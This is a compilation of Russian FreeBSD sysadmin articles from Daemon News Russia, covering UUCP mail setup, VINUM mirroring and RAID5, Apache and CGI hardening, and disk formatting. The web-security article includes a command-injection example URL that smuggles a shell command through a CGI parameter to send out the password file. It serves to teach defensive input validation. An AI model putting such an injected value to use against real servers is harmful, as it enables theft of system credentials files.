1. Переименовать rmail в /usr/local/bin/__rmail; 2. Сделать свой rmail, тоже из трех строчек: #!/bin/sh PATH=:/usr/bin:/usr/local/bin:/usr/ucb:/bin: /usr/local/bin/koi-iso | /usr/local/bin/__rmail $* Вышеуказанную экзекуцию надо производить именно над rmail, потому что rbmail проверяет контрольные суммы. А вот rbmail в SVR4/88 совсем нет. Надо искать исходники, собирать... А RelCom (по крайней мере мой провайдер) именно его пользует. Это третья причина (после отсутствия Taylor-uucp и удобного Mail-user агентa), по которой я не стал поднимать uucp/e-mail на Motorolе.
http://www.freebsd.bip.ru/uucp.shtml (14 of 14)10.04.2004 17:24:27
(c) 2001-2002 Daemon News Russia
Daemon News Russia
\\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь Использование VINUM под FreeBSD новости
Часто возникает необходимость создания надежной дисковой системы на файловом сервере. Такую задачу приходилось часто реализовывать при отсутствии особого финансового потока и как выход пришлось делать зеркалирование двух SCSI дисков на FreeBSD 3.4 с применением vinum При наличии финансов конечно желательно покупать аппаратную реализацию RAID 5 (По отзывам моих коллег очень неплохо работает MegaRAID 1500). На данный момент FreeBSD поддерживает следующие типы дисковых массивов: CompaqSmartRAID AMI MegaRaid Mylex DAC960 Family В составе FreeBSD есть k-модуль для организации отказоустойчивых дисковых массивов RAID1 (зеркальный набор) и RAID5 (чередующий набор с проверкой четности). Естественно что для таких задач стоит покупать Wide SCSI Controller и как минимум 2 диска. Хотя и диски и контроллер поддерживали заявленную скорость transfeer-a в 60Mb но удалось выжать всего лишь 40Mb, хотя и это неплохо. VINUM, как технология заркалирования стала стабильно работающей начиная с версии FreeBSD 3.4. Что же касается samba ver. 2.0.7 то она на 10Mb карточке давала результат 1.1Mb чтения, 900Kb записи при следующей конфигурации ПК : Pentium II 350Мгц, 128Mb ОЗУ, 2xHDD IBM Wide SCSI-3 обьемом на 8Gb, 3Com590 Etherlink III PCI 10Mb, материнская плата ASYS (Intel82443LX). Вкратце организация зеркальных или чередующих разделов заключается в созданиии разделов (slice) одинакового размера на разных дисках монтирование их в каком либо каталоге основной файловой системы через заранее заданное в конфигурации имени устройства, например : /dev/vinum/имя_раздела_vinumdevice Тип файловой системы на этих разделах должен быть установлен как "vinum", монтирование их проводится обычной командой mount при включенной опции VINUM в startup scripts. Есть два способа запуска VINIM в FreeBSD : через ядро и как загружаемый модуль. По умолчанию используется второй способ. Для этого необходимо включить в /etc/defaults/rc.conf строчку : start_vinum="YES" И указать какие slice отдаются под организацию mirror-a : vinum_drives="/dev/da0s1g /dev/da0s1a
http://www.freebsd.bip.ru/vinum.shtml (1 of 4)10.04.2004 17:24:29
Daemon News Russia
Предположим что у нас есть два SCSI диска da0 и da1 обьемом 8Gb. Геометрия диска da0 будет выглядеть так : da0s1a ufs / 50Mb da0s1b swap swap 250Mb da0s1e ufs /var 100Mb da0s1f ufs /usr 600Mb da0s1f unused none 7000Mb Как вы видите мы не задаем точку монтирования для свободного пространства в 7Gb оставляя его для раздела vinum который и будет содержать данные. Затем инсталируем FreeBSD на данный диск в составе всех пакетов кроме games, ports, XFree86 и docs а из пакетов: sysutils, arhives, samba, less, network utilites. После инсталяции необходимо на втором диске содать такую же геометрию разделов как на da0 и вручную создать UFS командой newfs /dev/da1xx где xx - это названия разделов (учтите что swap вам создать не удастся, поэтому нужно загрузиться со вторым диском отдельно от первого с помошью cdrom-a и указать это диск как активным и создать swap раздел. Это необходимо для того чтобы в случае аварии первого диска контроллер нашел загрузочную запись на втором и передал ему управление . Далее вы по cron-y еженочно делаете копирование разделов /, /usr, /var с da0 на da1 с применением команды cpio. После нормальной перезагрузки с двумя дисками мы создаем разделы под vinum командой disklabel -e da0 которая р редакторе vi (установленном по умолчанию) позволяет нам дойти до последней строчки снизу и внести изменения: # /dev/rda0c: type: SCSI disk: da0s1 label: flags: --- skip --8 partitions: # size offset fstype a: 102400 0 4.2BSD # (Cyl. 0 - 6*) b: 272624 102400 swap # (Cyl. 6*- 23*) c: 17912412 0 unused # (Cyl. 0 - 1114*) e: 204800 375024 4.2BSD # (Cyl. 23*- 36*) f: 1843200 579824 4.2BSD # (Cyl. 36*- 150*) g: 15360000 2423024 vinum # (Cyl. 150*- 1106*) ^^^^^^^^^^^ где вместо слова vinum было "unused" Далее редактируем таблицу на втором диске da1 "disklabel -e da1" # /dev/rda1c: type: SCSI disk: da1s1 http://www.freebsd.bip.ru/vinum.shtml (2 of 4)10.04.2004 17:24:29
Daemon News Russia
--- skip --8 partitions: # size offset fstype a: 15360000 2422784 vinum # (Cyl. 150*- 1106*) ^^^^^^^^ c: 17912412 0 unused # (Cyl. 0 - 1114*) e: 102400 0 4.2BSD # (Cyl. 0 - 6*) f: 272384 102400 4.2BSD # (Cyl. 6*- 23*) g: 204800 374784 4.2BSD # (Cyl. 23*- 36*) h: 1843200 579584 4.2BSD # (Cyl. 36*- 150*) Теперь напишем файл конфигурации /etc/vinum.conf : # Описываем наши разделы на двух дисках которые будут зеркальными : drive d1 drive d2
device /dev/da0s1g device /dev/da1s1a
# Называем зеркальный раздел "mirror" , название произвольное - volume mirror. # Описываем тип (RAID1) и размер зеркального раздела : plex org concat sd length 7g drive d1 plex org concat sd length 7g drive d2 Точку монтирования для зеркального каталога определим как /data, сам же скрипт поместим в /usr/local/etc/rc.r/data_mount.sh : #!/bin/sh /sbin/fsck -f /dev/vinum/mirror /sbin/mount /dev/vinum/mirror /data Создание раздела vinum делается командами : /sbin/vinum create -f /etc/vinum.conf /sbin/newfs -v /dev/vinum/mirror Ошибки которые могут возникать при создании vinum раздела в 90% случаев зависят от правильности задания раземера vinum. раздела. Например я не смог создать зеркальный раздел до тех пор пока не исправил размер slice в /etc/vinum.conf с 7000Mb на 7Gb. Изменения которые були внесенны в конфигурационный файл vinum.conf должны быть ппрочитанны заново k-модулем vinum, с помошью команды vinum resetconfig Манипулирование с конфигом равносильно экспериментам со сменой типа http://www.freebsd.bip.ru/vinum.shtml (3 of 4)10.04.2004 17:24:29
Daemon News Russia
FS командой newfs - то есть прежде чем что то менять, сделайте backup ваших данных. После перезагрузки мы получим смонтированный зеркальный раздел /data. Есть еще другой путь повышения уровня надежности хранения данных с помошью организации RAID5 с помощью vinum. Для этого вам необходимо иметь три одинакового размера разделы на трех дисках и описать данную конйигурацию в /etc/vinum.conf. Предположим, мы имеем три раздела: /dev/da0s1g /dev/da1s1h /dev/da2s1f Конфигурационный файл /etc/vinum.conf должен содержать следуюшие строчки : drive d1 device /dev/da0s1g drive d2 device /dev/da1s1h drive d3 device /dev/da2s1f volume mirror ## Указываем что мы организуем чередование дисков с четностью plex org raid5 32K sd length 7g drive d1 sd length 7g drive d2 sd length 7g drive d3 Более полная информация vinum находится на сайте разработчика по адресу http://www.lemis.com/vinum.html. Надо сказать что механизм VINUM включен в коммерческий продукт под названием NetMax для FreeBSD который является средством организации файлового сервера но уже за немалые деньги. Так что Вы получаете в данном случае качество коммерческого продукта, и надо cказать что автор использует vinum уже с момента появления стабильной версии в 3.4 на многих FileServers пока без нареканий. Автор: Michael Vlasov (c) 2001-2002 Daemon News Russia
http://www.freebsd.bip.ru/vinum.shtml (4 of 4)10.04.2004 17:24:29
Daemon News Russia
\\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь Краткое руководство по настройке uucp почты в FreeBSD новости
UUCP (Unix to Unix copy) предназначен для копирования файлов между машинами и для выполнения команд на удаленной машине. Его использование для передачи почты - только одно из возможных применений. Hастоящее руководство ориентировано на FreeBSD и Taylor UUCP, в других системах все может быть совсем по-другому :-) Представим себе, что вы являетесь узлом, который обменивается почтой с внешним миром через хост mail.provider.ru и раздает почту еще трем хостам: host1.your.domain.org, host2.your.domain.org, host3. your.domain.org. Весь обмен почтой происходит по uucp. При этом host1.your.domain.org, host2.your. domain.org, host3.your.domain.org звонят вам, а вы звоните mail.provider.ru. Будем считать, что четыре машины, с которыми вам предстоит наладить обмен почтой по uucp, имеют следующие uucp-имена: provider, host1, host2 и host3 соответственно. Вообще-то доменное имя системы (hostname) и uucp-имя этой же самой системы совершенно не обязаны совпадать. Hапример, host2.your.domain.org вполне мог бы иметь uucp-имя foo или bar. Если мы здесь и выбрали совпадающие имена, это было сделано только для удобства изложения. Пусть ваше собственное доменное имя будет yourhost.your.domain.org, а ваше uucp-имя будет yourhost. Hастройка uucp почты в Unix подразумевает следующие шаги: ● ● ●
настройка собственно uucp; настройка sendmail; разное. 1. Hастройка собственно uucp Чтобы настроить uucp, надо настроить его конфиги. Вот они: total 12 drwxrwx--- 3 uucp uucp 512 15 ноя 16:23 ./ drwxr-xr-x 10 root wheel 2048 30 дек 21:44 ../ -r--r----- 1 uucp uucp 61 23 янв 1997 call -r--r----- 1 uucp uucp 260 8 апр 1997 config -rw-r----- 1 uucp uucp 250 3 сен 20:51 dial -r--r----- 1 uucp uucp 1 25 авг 1996 dialcode -r--r----- 1 uucp uucp 14 21 апр 1997 passwd -r--r----- 1 uucp uucp 96 29 май 1997 port drwxr-xr-x 2 root uucp 512 15 ноя 12:08 samples/ -r--r----- 1 uucp uucp 160 28 май 1997 sysin -r--r----- 1 uucp uucp 366 16 ноя 16:06 sysout 1.1 call В этом файле описывается ваш логин и пароль для прозвонки на другие uucp-машины. Естественно, логин и пароль надо получить от администратора той машины, на которую вы собрались звонить. В нашем случае он будет выглядеть примерно так: ======= call
======
http://www.freebsd.bip.ru/uucpmail.shtml (1 of 8)10.04.2004 17:24:31
Daemon News Russia
# system login password provider uuyourhost Your_Secret_Password ======= call
======
1.2 config В этом файле описываются различные параметры uucp, в основном пути и имена файлов, тут почти ничего не надо менять. В основном этот файл нужен, если нужно переопределить некоторые умолчания, которые были заданы при компиляции. ======= config
======
nodename yourhost # здесь надо указать ваше собственное uucp-имя spool /var/spool/uucp pubdir /var/spool/uucppublic logfile /var/spool/uucp/Log statfile /var/spool/uucp/Stats debugfile /var/spool/uucp/Debug sysfile sysin sysout # имена файлов с описаниями систем - ваших линков portfile port dialfile dial dialcodefile dialcode callfile call passwdfile passwd # количество одновременно выполняемых процессов раскладки почты max-uuxqts 1 ======= config
======
Последний параметр подсказал мне Igor Nikolaev (2:5030/266@fidonet). Это действительно более красивое решение проблемы, от которой я избавился только пересборкой rmail с флагом -DQUEUE_ONLY. А проблема вот какая: при получении большого количества почты запускается сразу куча sendmail'ов, и это получается очень накладно для ресурсов. 1.3 dial Это файл с описаниями модемов. Беру его без изменений со своей системы, imho тут и так все понятно. Полезно также посмотреть man chat и руководство к своему собственному модему. ======= dial
======
dialer idc # произвольное имя модема, под которым он будет известен uucp dialtone w pause , #chat "" ATZ\r\d\c OK ATM0DPW\T CONNECT \p\c chat "" ATZ\r\d\c OK ATM0DT\T CONNECT \p\c chat-fail BUSY chat-fail ERROR chat-fail NO\sDIALTONE chat-fail NO\sCARRIER #complete \d\d+++\d\dATH\r\c #abort \d\d+++\d\dATH\r\c http://www.freebsd.bip.ru/uucpmail.shtml (2 of 8)10.04.2004 17:24:31
Daemon News Russia
======= dial
======
Обратите внимание, что последние две строчки закомментарены. Если модем умеет сам класть трубку по окончании соединения или по опусканию DTR, они не нужны. Если их оставить, вреда они не принесут, просто uucp будет в логах ругаться. Еще хочу заметить - описаний модемов может быть сколько угодно, естественно, под разными именами. 1.4 dialcodeСлужит для хитрого набора номера и imho вообще не нужен. У меня имеет нулевую длину. 1.5 passwd В этом файле содержатся логин и соответствующий ему пароль для тех систем, которые будут звонить вам. 'uucico -l' само умеет авторизовать позвонивших пользователей, предлагая им при этом ввести логин и пароль, и проверяет верность пароля по этому файлу. Какие логины и пароли вы дадите своим даунлинкам - дело ваше. Учтите только, что удобнее и правильнее дать им логины, которые начинаются одинаково, например, с двух букв uu. Почему это так объяснится позже. Пример: ======= passwd uuhost1 uuhost2 uuhost3
======
======= passwd
Top_Secret_Password Smart_Password Stupid_Password ======
1.6 port В этом файле содержится описание портов. Портов может быть много. Каждый порт имеет свое имя, которое и используется в дальнейшем в файлах с описаниями систем - ваших линков. Imho тут все понятно. Hабор параметров не ограничивается нижеприведенным примером, если надо сделать что-нибудь особенно хитрое - читайте описание к Taylor UUCP. ======= port
======
port port1 # имя порта type modem device /dev/cuaa1 dialer idc speed 38400 port port2 # тоже имя порта type tcp service 540 ======= port
======
1.7 sysin Это файл с описаниями систем, которые будут звонить вам. http://www.freebsd.bip.ru/uucpmail.shtml (3 of 8)10.04.2004 17:24:31
Daemon News Russia
======= sysin
======
call-login * call-password * local-send / local-receive / port port1 # это, как вы помните, у нас модемный порт chat-timeout 90 protocol g # возможно, вы захотите использовать какой-нибудь другой протокол time never # звонят только они, вы им никогда не звоните debug 1 system host1 myname yourhost # как вы представитесь системе host1, когда она позвонит called-login uuhost1 system host2 myname yourhost called-login uuhost2 system host3 myname yourhost called-login uuhost3 ======= sysin
======
Зачем нужны первые четыре строчки и строчка called-login - не спрашивайте. Hе помню, но так надо. В документации описано, кому сильно интересно - вперед. 1.8 sysout В этом файле удобно прописать те системы, на которые вы сами собираетесь звонить. В данном случае у нас только одна такая система - ваш провайдер. ======= sysout
======
call-login * call-password * local-send / local-receive / port port1 chat-timeout 90 protocol g time any # звонить в любое время. А вообще время можно задавать очень гибко. debug 1 system provider chat ogin: \L word: \P # берется из файла call phone 111111 alternate # так делается перебор номеров phone 222222 alternate http://www.freebsd.bip.ru/uucpmail.shtml (4 of 8)10.04.2004 17:24:31
Daemon News Russia
phone 333333 ======= sysout
======
Корректность настройки всех конфигов можно проверить, запустив uuchk. Осталась еще самая малость. Чтобы периодически звонить своему провайдеру за почтой, вставьте строчку в ваш / etc/crontab, типа: 0 * * * * uucp /usr/libexec/uucp/uucico -S provider Как принимать входящие звонки по uucp, описано в пункте 3.1 2. Hастройка sendmail 2.1 Hастройка sendmail.cf Hеобходимо создать новый sendmail.cf, который будет знать про uucp. Для его создания можно взять примерно вот такой файл-прототип: ====== uucp.mc ========= divert(-1) include(`../m4/cf.m4') VERSIONID(`@(#)uucp.mc 1.01') OSTYPE(bsd4.4)dnl MAILER(local)dnl MAILER(smtp)dnl MAILER(uucp)dnl FEATURE(nodns)dnl FEATURE(nocanonify)dnl FEATURE(mailertable)dnl FEATURE(uucpdomain)dnl define(`SMART_HOST', `uucp-dom:provider')dnl define(`confCOPY_ERRORS_TO', `postmaster')dnl ====== uucp.mc ========= После чего m4 uucp.mc > /etc/sendmail.cf Обратите внимание, что MAILER(smtp) убирать нельзя, даже если никакого smtp не предвидится. Он все равно нужен для того, чтобы работал мейлер uucp-dom. Это мейлер, который знает про доменную форму имен - вам же не хочется, чтобы адреса в письмах были в формате uucp (через восклицательные знаки). 2.2 Hастройка mailertable Маршрутизация uucp почты происходит согласно правилам, описанным в mailertable. Иначе и нельзя - ведь uucp ничего не знает про DNS (хотя мейлер uucp-dom и знает про имена машин в доменной форме). В простейшем случае, чтобы просто заливать почту своему провайдеру, достаточно будет mailertable в таком формате:
http://www.freebsd.bip.ru/uucpmail.shtml (5 of 8)10.04.2004 17:24:31
Daemon News Russia
======= /etc/mailertable ====== .
uucp-dom:provider
======= /etc/mailertable ====== Где provider - это uucp-имя системы провайдера (система должна быть описана в /etc/uucp/ sysout) Точка здесь выступает в роли символа подстановки и означает то же самое, что у нормальных людей означает звездочка, то есть любое количество любых символов. Если вы не являетесь оконечной системой, то есть раздаете почту кому-то еще по uucp, то ваш mailertable может выглядеть так: ======= /etc/mailertable ====== .host1.your.domain.org uucp-dom:host1 host1.your.domain.org uucp-dom:host1 .host2.your.domain.org uucp-dom:host2 host2.your.domain.org uucp-dom:host2 .host3.your.domain.org uucp-dom:host3 host3.your.domain.org uucp-dom:host3 . uucp-dom:provider ======= /etc/mailertable ====== Одиночная точка в конце означает - все остальное сваливать на провайдера, он сам разберется. Разумеется, речь в mailertable идет только об именах машин. Про пользователей он ничего не знает. То есть, записи host1.your.domain.org uucp-dom:host1 .host1.your.domain.org uucp-dom:host1 означают только то, что почта для машин host1.your.domain.org foo.host1.your.domain.org bar.host1.your.domain.org foo.bar.host1.your.domain.org и т.п. будет направляться через uucp-систему host1. Осталось только добавить, что sendmail использует mailertable в виде database map, поэтому осталось проделать следующее: makemap hash /etc/mailertable.db < mailertable 2.3 Hастройка uudomain Как уже указывалось ранее, доменное имя системы (hostname) и uucp-имя этой же самой системы совершенно не обязаны совпадать. Поэтому в файле uudomain настраивается соответствие доменного имени хоста и его uucp-имени. В этом файле должны быть описаны все системы, с которыми у вас есть прямые линки по uucp. Пользуясь нашим примером, ваш uudomain будет выглядеть примерно так: ======= /etc/uudomain ======
http://www.freebsd.bip.ru/uucpmail.shtml (6 of 8)10.04.2004 17:24:31
Daemon News Russia
host1 host2 host3 provider
host1.your.domain.org host2.your.domain.org host3.your.domain.org mail.provider.ru
======= /etc/uudomain ====== uudomain, так же как и mailertable, должен быть в виде database map, поэтому makemap hash /etc/uudomain.db < uudomain Теперь осталось только kill -1 `cat /var/run/sendmail.pid` 3. Разное 3.1 Hастройка uucp-сервера. Предполагается, что ваша машина является почтовым сервером, на который ваши клиенты (host1.your.domain.org, host2.your.domain.org, host3.your.domain.org) будут ходить за почтой. Ходить за почтой они могут по телефону или по IP. Быть сервером uucp очень просто - когда клиент позвонит модемом или зайдет на 540 порт, ему надо подсунуть uucico в качестве shell. Лучше подсовывать uucico с ключом -l, тогда оно будет само спрашивать пароль, а брать пароли будет из собственного файла с паролями (/etc/uucp/passwd). Как это сделать существует ряд способов. 3.1.1 UUCP over IP Если ваша машина будет отдавать почту по uucp over IP, то надо закомментарить в /etc/inetd. conf стандартную строчку, относящуюся к uucpd, и добавить свою: uucpd stream tcp nowait root /usr/libexec/uucp/uucico uucico -l Hе знаю, почему по умолчанию там стоит неработающая строчка, но поговаривают, что стоит она там в расчете на то, что будет использоваться не Taylor, а какая-то другая реализация UUCP. 3.1.2 mgetty Если клиенты будут звонить по телефону, проще всего поставить mgetty, которая умеет по стандартным именам пользователей запускать им в качестве shell различные программки. Hапример, вот такая строчка в /usr/local/etc/mgetty+sendfax/login.config uu* uucp @ /usr/lib/uucp/uucico -l -u @ означает, что для всех пользователей с именами, начинающимися на uu, mgetty будет запускать uucico вместо /usr/bin/login. Чем хорош такой вариант - в частности тем, что не надо прописывать uucp-клиентов в /etc/passwd. То есть uucico с ключом -l будет брать пароль из своего файла /etc/uucp/passwd 3.1.3 /etc/passwd Этот вариант я лично не пробовал, но должен работать. Каждого uucp-клиента надо будет прописать в /etc/passwd, при этом его строчка будет выглядеть примерно так: uuhost1:*:66:66::0:0:host1 uucp http://www.freebsd.bip.ru/uucpmail.shtml (7 of 8)10.04.2004 17:24:31
Daemon News Russia
system:/var/spool/uucppublic:/usr/libexec/uucp/uucico В этом случае для авторизации позвонившего будет использоваться не /etc/uucp/passwd, а стандартный механизм авторизации пользователей через /etc/passwd. Как подсказывает Sergey Zimin: "У всех пользователей uid и gid должен быть одинаковым и совпадать с uid/gid псевдопользователя "uucp", который также должен быть обязательно в системе! Это нужно и для правильной работы и для секьюрности - (забыл конкретно где, но один нерадивый админ давал всем разные uid, как стандартным пользователям и его сломали по ftp) а например в случае uucp-пользователя его uid прописан в /etc/ftpusers как тот, кому нельзя ломиться по ftp"
(c) 2001-2002 Daemon News Russia
http://www.freebsd.bip.ru/uucpmail.shtml (8 of 8)10.04.2004 17:24:31
Daemon News Russia
\\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь Некоторые аспекты безопасности Веб-серверов на Unix платформах новости
Предисловие Защищенность компьютера, на котором работает Веб-сервер, и данных, находящихся на этом компьютере, зависит от многих аспектов. Основными из них являются: 1. 2. 3. 4.
Корректность настройки Веб-сервера. Корректность построения дерева файловой системы. Корректность установки прав доступа к файлам Веб-сервера. Правильное написание CGI сценариев и программ.
Рассмотрим их по очереди. Корректность настройки Веб-сервера На безопасность работы Веб-сервера влияют некоторые настройки, устанавливаемые вами в файлах конфигурации. Я буду говорить в основном о сервере Apache, хотя все замечания в равной степени применимы и к другим серверам. Прежде всего вам необходимо правильно выбрать пользователя, под которым будет работать Веб-сервер. Дело в том, что в Unix для того, чтобы подсоединиться к 80 порту, по умолчанию используемому в HTTP протоколе, Веб-серверу необходимо иметь права пользователя root. Но отвечать на запросы пользователей с такими правами очень не безопасно. Поэтому Веб-сервер порождает детей с правами другого пользователя, которые и обрабатывают запросы пользователей. В файле конфигурации (http.conf) необходимо указать имя пользователя, под которым будут запускаться дочерние процессы, и группу, к которой он принадлежит. В сервере Apache за это отвечают директивы User и Group. Необходимо создать отдельного пользователя и группу, например apache и webstuff. Нельзя использовать предлагаемые по умолчанию nobody:nogroup - на некоторых системах это открывает "дыры" в защите. Ни в коем случае также нельзя запускать Веб-сервер из под пользователя webadmin, который обычно занимается всем этим хозяйством, т.к. он имеет права записи во все файлы (см. установку прав доступа к файлам). Обязательно запретите login для созданного вами пользователя. Очень важным моментом в настройке Веб-сервера является настройка файла прав доступа (access.conf). Необходимо начать с корня дерева документов сервера и при необходимости конкретизировать установки ниже по дереву для отдельных подкаталогов. На мой взгляд более надежно использовать директиву < directory>, а не < location>, т.к. она защищает конкретные наборы файлов, независимо от того, как вы к ним попали (ведь в серверах под Unix можно очень эффективно пользоваться линками к файлам и директориям, делая логическую структуру дерева документов более удобной). Если вы используете Alias, очень внимательно http://www.freebsd.bip.ru/secaspects.shtml (1 of 4)10.04.2004 17:24:32
Daemon News Russia
проанализируйте все возможные варианты построения логического дерева (пути к файлу). С самого начала отмените директиву построения индексов (Option Indexes). Если вдруг пропадет файл index.html в каком-либо каталоге, сервер не построит список всех файлов в каталоге. Такой список в некоторых случаях может содержать нежелательные служебные файлы, которые пользователь не должен видеть. Обладание им открывает еще одну потенциальную "дыру". Несмотря на запрет индексирования помещайте в каждый каталог файл index.html хотя бы с пустым (это уже паранойя, но все же...). Разрешайте серверу следовать символьным ссылкам только если вы действительно ими пользуетесь. Для каталога /cgi-bin запретите все кроме ExecCGI. Проверьте, что скажет ваш сервер, если вы запросите http://www.server.dom/cgi-bin/. Он должен послать вас очень далеко, а не выдать список всех ваших сценариев! Все служебные URL, такие как /server-status, /server-conf, должны быть открыты только для вашего доступа. При этом указывайте ваш IP адрес, а не hostname, т.к. hostname можно подделать, а IP адрес намного сложнее. Корректность построения дерева файловой системы Важно заранее очень хорошо продумать структуру каталогов. Ведь они отражают структуру вашего узла и менять потом все очень сложно. Учитывайте, что количество документов по одной теме будет все время расти. В каталоге не должно быть слишком много файлов. Это затрудняет их поиск, вы можете по ошибке что-то удалить, да и просто усложняет вам работу. Очень важно, чтобы каталог с настройками, каталог с файлами регистрации (logs) и каталог со сценариями находились выше дерева документов. Доступ к каталогу сценариев должен осуществляться директивой ScriptAlias. Рекомендуется такая структура: site_____conf |__logs |__cgi-bin |__htdocs Очень аккуратно пользуйтесь связями, ведущими вне дерева документов. Старайтесь ссылаться только на отдельные файлы, а не на целые каталоги. Но если это нужно, то можно. Корректность установки прав доступа к файлам Веб-сервера Все файлы ниже каталога site не должны принадлежать пользователю, под которым работает сервер (apache), но должны принадлежать группе, в которую входит это пользователь (webstuff). Обычно файлами владеет webadmin, также принадлежащий группе webstuff. Все каталоги и файлы должны создаваться с umask = 027, т.е. группа (читай - Веб-сервер) должна иметь только права на чтение и исполнение, а все остальные (не webadmin) не должны иметь никаких прав. Таким образом вам останется охранять только login root'а и webadmin'а. http://www.freebsd.bip.ru/secaspects.shtml (2 of 4)10.04.2004 17:24:32
Daemon News Russia
Правильное написание CGI сценариев и программ Одним из основных способов попасть в Ваш сервер, это воспользоваться неправильно написанным сценарием. Существует большое количество книг по безопасным сценариям. Я опишу только основные моменты. Первым способом нарушить работу сценария является переполнение буфера ввода. Никогда не указывайте размер буфера исходя из разумных соображений. Определяйте его динамически: read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'}); Неплохо также перед этим проверить $ENV{'CONTENT_LENGTH'} и уменьшить ее до некоего разумного предела. Вторым важным моментом является внедрение команд ОС в возвращаемые сценарию переменные. Возьмем пример: Пусть у на в сценарии будет строка (@usernames - массив имен) system "finger @usernames 2>&1"; Если мы вызовем такой сценарий строкой http://www.yoursite.ru/cgi-bin/bad_finger.pl?andy+bob то все будет замечательно. Но, если его вызвать строкой http://www.yoursite.ru/cgi-bin/bad_finger.pl?`[email protected]+br> то ваш файл паролей улетит к "нехорошим парням". В связи с этим только в крайних случаях используйте такие команды, как system(), exec() и eval(). Всегда проверяйте значения переменных на наличие метасимволов и удаляйте их. Например так: $value =~ tr/'"\t\n\r\/<>|;//d; $value =~ s///g; Ну а самым надежным способом является проверка каждого поля на точный шаблон данных, которые вы ожидаете получить. Например, если вы запросили почтовый индекс, проверьте его строкой: $zip =~ /^\d{6}$/ а если запросили адрес электронной почты, строкой: $email=~s#(\w+(-|\.|))+@(\w+(-|\.|))+(ru|su|be|ca|cz|ee|fi)##io; Заключение
http://www.freebsd.bip.ru/secaspects.shtml (3 of 4)10.04.2004 17:24:32
Daemon News Russia
Следуя этим нехитрым правилам вы значительно обезопасите ваш сервер от поползновений "нехороших парней", как их мило называют в зарубежной литературе. Главное, это помнить основной принцип обеспечения безопасности - запретите ВСЕ, а потом разрешайте только то, что Вам ДЕЙСТВИТЕЛЬНО необходимо.
(c) 2001-2002 Daemon News Russia
http://www.freebsd.bip.ru/secaspects.shtml (4 of 4)10.04.2004 17:24:32
Daemon News Russia
новости \\ библиотека \\ софт \\ форум \\ ссылки \\ поиск \\ связь
Форматирование дисков в FreeBSD Содержание 1.Введение и определения 2.Форматирование дисков выделенном режиме. 3.Создание дисков в режиме совместимости. 4. Другие дисковые операции 1. Введение и определения 1.1 Обзор 1.2 Определения 1.3 Предупреждения 1.4 Zip, Jaz и другие съемные диски. 1.1 Обзор Добавление дисков в существующую систему - задача для опытного системного администратора. Для разбиения диска на разделы и добавления новых дисков требуется четкая, аккуратная система команд и согласованный синтаксис имен. Одна небольшая ошибка может привести к тому, что в считанные секунды диск исчезнет и его содержимое будет невозможно восстановить. Этот документ написан для того, чтобы упростить эту задачу и избежать непоправимых ошибок. К счастью, в последних релизах FreeBSD, имеются улучшенные версии инструментов, позволяющих облегчить этот процесс. Существует два возможных режима форматирования диска: ●
●
режим совместимости (compatibility mode) - диск имеет таблицу разделов для использования с другими операционными системами. выделеный (dedicated) режим - форматирование диска без таблицы разделов. Это облегчает процесс добавления дисков, хотя операционная система отличная от FreeBSD, может не распознать этот диск.
В большинстве случаев использование выделенного режима - это наиболее простой способ установки и использования нового диска в существующей системе, так как, обычно, новый диск целиком предназначен для использования под FreeBSD. Однако, режим совместимости обеспечивает лучшую интероперабельность для будущих инсталляций, что достигается за счет усложнения процесса. В добавление к выбранному режиму, стоит отметить, что существуют два способа разбиения диска на разделы. Первый использует системный инструмент инсталляции /stand/sysinstall. 2.1.7-RELEASE и более поздние версии sysinstall могут облегчить процесс установки дисков во время нормального функционирования системы, предоставляя доступ к редакторам Label и Partittion. Также вы можете использовать Write - программа, позволяющая обновить выбранный диск и разбить его на разделы, не трогая при этом остальные диски. Второй способ - запустить инструменты вручную из корневой командной строки. Для выделенного режима требуется только 3-4 команды, в то время как sysinstall требует некоторых манипуляций. 1.2 Определения Для управления дисками в операционной системе UNIX было изобретено много новых определений для старых
http://www.freebsd.bip.ru/format.shtml (1 of 5)10.04.2004 17:24:34
Daemon News Russia
слов. Далее приводится список определений для терминов, которые будут встречаться в этом документе. ●
●
●
●
●
●
режим совместимости: в этом режиме диск имеет таблицу разделов для использования с другими. операционными системами. Противоположен выделенному режиму. выделенный режим: форматирование диска без таблицы разделов. Это облегчает процесс добавления дисков, хотя операционная система отличная от FreeBSD, может не распознать этот диск. Противоположен режиму совместимости. диск: круглый диск, покрытый магнетиком или другим похожим материалом. Данные хранятся на диске, посредством изменения ориентации магнетиков на диске, которая позже может быть расшифрована. Примерами дисков являются жесткие диски, CD, магнито-оптические диски и Zip. раздел: это часть диска. Согласно стандартам PC, на диске можно иметь до четырех разделов. Разделы состоят из секторов. Разделы записываются в таблицу разделов, которую использует BIOS для обнаружения загрузочных партиций. В DOS таблицу разделов обычно называют таблицей партиций (Partition table). Эта таблица обрабатывается утилитой fdisk. партиция: это часть раздела. Обычно этот термин используется для ссылки на часть раздела FreeBSD. Каждая файловая система и пространство для свопинга принадлежит определенной партиции. Партиции обрабатываются при помощи утилиты disklabel. сектор: это наименьшая часть диска. Обычно один сектор содержит 512 байт.
1.3 Предупреждения Не стоит относится к обработке дисков слишком легко. Если не принять специальные меры предосторожности, можно разрушить содержимое других дисков вашей системы. Тщательно проверяйте вашу работу. Работая с этими командами очень просто испортить содержимое диска.В случае сомнения обратитесь к "загрузочным" сообщениям ядра для соответствующего устройства. Нужно отметить, что мы не отвечаем за повреждение данных или оборудования. Вы действуете на свой собственный страх и риск. 1.4 Zip, Jaz и другие съемные диски Съемные диски могут быть отформатированы так же, как и обычные жеские диски. Важно, чтобы при загрузке дисковод был подключен к системе, так как ядро должно определить геометрию диска. Проверьте сообщения dmesg и убедитесь, что ваше устройство и размер диска находятся в списке. Если ядро выдает сообщение Can't get the size это означает, что в дисководе нет диска. В этом случае вам нужно перезагрузить машину, прежде чем приступать к форматированию диска. 2.Форматирование диска в выделенном режиме 2.1 Введение 2.2 Создание дисков в выделенном режиме, используя sysinstall
2.3 Создание дисков в выделенном режиме, используя командную строку
2.1 Введение
http://www.freebsd.bip.ru/format.shtml (2 of 5)10.04.2004 17:24:34
Daemon News Russia
В этом параграфе рассказывается как создать диск целиком предназначенный для FreeBSD. Помните, что диски выделенного режима не могут быть загружены архитектурой ПК.
